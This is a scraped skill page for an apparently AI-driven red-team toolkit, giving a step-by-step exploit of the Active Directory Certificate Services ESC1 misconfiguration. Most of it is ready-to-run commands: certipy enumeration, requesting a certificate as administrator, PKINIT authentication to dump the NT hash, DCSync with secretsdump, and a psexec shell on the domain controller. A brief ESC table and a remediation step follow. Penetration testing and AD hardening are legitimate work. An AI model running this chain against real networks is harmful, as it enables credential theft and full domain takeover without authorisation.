adcs-esc1
Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.
BloodHound ingestion + canonical Cypher queries for AD attack-path enumeration. Run after collector dumps zip; promotes findings into the knowledge graph.
NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
Active Directory attack lane — BloodHound ingestion, Kerberoasting, ADCS ESC scanning, DCSync, LAPS extraction.
Red team engagement lifecycle management — initiation, phase transitions, go/no-go gates, deconfliction, emergency procedures, completion.
Mandatory first-turn startup procedure — checks for existing engagements, resume/new selection, workspace initialization.
| name | adcs-esc1 |
| description | Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin. |
| metadata | {"subdomain":"active-directory","when_to_use":"adcs esc1 ad certificate services template misconfiguration domain admin"} |
ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.
# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
-output /tmp/adcs -text -stdout > /tmp/adcs.txt
# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
-output /tmp/adcs.json
Atlas ingest:
adcs_audit("/tmp/adcs.json")
A template is ESC1-vulnerable when ALL true:
Enrollment Rights includes a group the attacker is in (Domain Users / Authenticated Users is jackpot)Client Authentication EKU or Smart Card Logon EKU or Any PurposeEnrollee Supplies Subject flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)Manager Approval disabledAuthorized Signatures Required is 0certipy output marks these clearly:
[!] Vulnerabilities
ESC1 : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
-target CA_FQDN -template VULNERABLE_TEMPLATE \
-upn 'administrator@dom' \
-dc-ip DC_IP \
-out /tmp/admin.pfx
The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT
is set, the CA issues a cert with that UPN even though we're a regular
user requesting it.
PKINIT (cert → TGT):
certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed
You get back:
administrator.ccache (use w/ export KRB5CCNAME=...)With NT hash:
# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc
# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'
# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'
kg_add_node(kind="vulnerability", label="ADCS ESC1: <template> → DA",
props={"severity":"critical","ca":"<ca>","template":"<tpl>"})
kg_add_node(kind="credential", label="administrator:NT_HASH")
kg_add_edge(src=<vuln>, dst=<cred>, kind="grants")
kg_add_edge(src=<cred>, dst=<crown_jewel:domain>, kind="compromises")
| ESC | Misconfig | Sub-skill |
|---|---|---|
| ESC1 | Enrollee supplies subject + client auth EKU | THIS doc |
| ESC2 | Any Purpose EKU template | similar to ESC1 |
| ESC3 | Enrollment Agent template | needs ESC3 + ESC2 combo |
| ESC4 | Vulnerable template ACL (GenericAll, WriteDacl) | edit template → ESC1 |
| ESC5 | Vulnerable PKI object ACL | edit CA settings |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | request as any user via SAN |
| ESC7 | Vulnerable CA ACL (ManageCA, ManageCertificates) | approve denied req |
| ESC8 | NTLM relay → AD CS web enrollment | coerce + relay |
| ESC9 | UPN no security extension | low-priv → high-priv via S4U2self |
| ESC10 | Weak certificate mapping (StrongCertificateBindingEnforcement=0) | UPN spoof |
| ESC11 | NTLM relay to ICPR (RPC) | similar to ESC8 |
| ESC13 | Cert template w/ OID linked to group → group membership manipulation |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0# Disable the dangerous flag
certutil -dstemplate <Template> | findstr msPKI-Certificate-Name-Flag
# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)
# Fix via UI: Template properties → Subject Name tab → uncheck
# "Supply in the request"